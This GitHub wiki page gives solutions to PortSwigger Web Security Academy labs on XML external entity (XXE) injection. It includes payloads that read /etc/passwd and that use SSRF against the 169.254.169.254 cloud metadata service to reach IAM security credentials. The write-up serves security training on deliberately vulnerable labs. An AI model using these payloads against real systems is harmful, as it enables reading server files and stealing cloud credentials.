-
Notifications
You must be signed in to change notification settings - Fork 0
XML external entity (XXE) injection
Alnoman Kamil edited this page Nov 27, 2024
·
17 revisions
Apprentice lab:
Exploiting XXE using external entities to retrieve files
Apprentice lab:
Exploiting XXE using external entities to retrieve files
-
Solution
- Browse an item and check stock.
- Observe the requests made. There is a
POST
request handling XML data. - Reformat (
tidy -xml -q
) andea
dit the request, as shown below.<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE anything [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck> <productId>1&xxe;</productId> <storeId>1</storeId> </stockCheck>
Apprentice lab:
Exploiting XXE to perform SSRF attacks
Apprentice lab:
Exploiting XXE to perform SSRF attacks
-
Solution
- Browse an item and check stock.
- Observe the requests made. There is a
POST
request handling XML data. - Reformat (
tidy -xml -q
) andea
dit the request, as shown below.<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE anything [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]> <stockCheck> <productId>&xxe;</productId> <storeId>1</storeId> </stockCheck>
- Notice an endpoint in the response. Iteratively update the URL in the DTD to explore the API until you reach
/latest/meta-data/iam/security-credentials/admin
Practitioner lab:
Blind XXE with out-of-band interaction (Pro)
Practitioner lab:
Blind XXE with out-of-band interaction (Pro)
Practitioner lab:
Blind XXE with out-of-band interaction via XML parameter entities (Pro)
Practitioner lab:
Blind XXE with out-of-band interaction via XML parameter entities (Pro)
Practitioner lab:
Exploiting blind XXE to exfiltrate data using a malicious external DTD (Pro)
Practitioner lab:
Exploiting blind XXE to exfiltrate data using a malicious external DTD (Pro)
Solutions for the Portswigger's Web Security Academy using mitmproxy and other cli tools instead of Burp Suite
Server-side topics:
- SQL injection
- Authentication
- File path traversal
- OS command injection
- Business logic vulnerabilities
- Information disclosure
- Access control vulnerabilities
- File upload vulnerabilities
- Race conditions
- Server-side request forgery (SSRF)
- XML external entity (XXE) injection
- NoSQL injection
- API testing
- Web cache deception
Client-side topics:
- Cross-site scripting (XSS)
- Cross-site request forgery (CSRF)
- Cross-origin resource sharing (CORS)
- Clickjacking
- DOM-based vulnerabilities
- WebSockets
Advanced topics: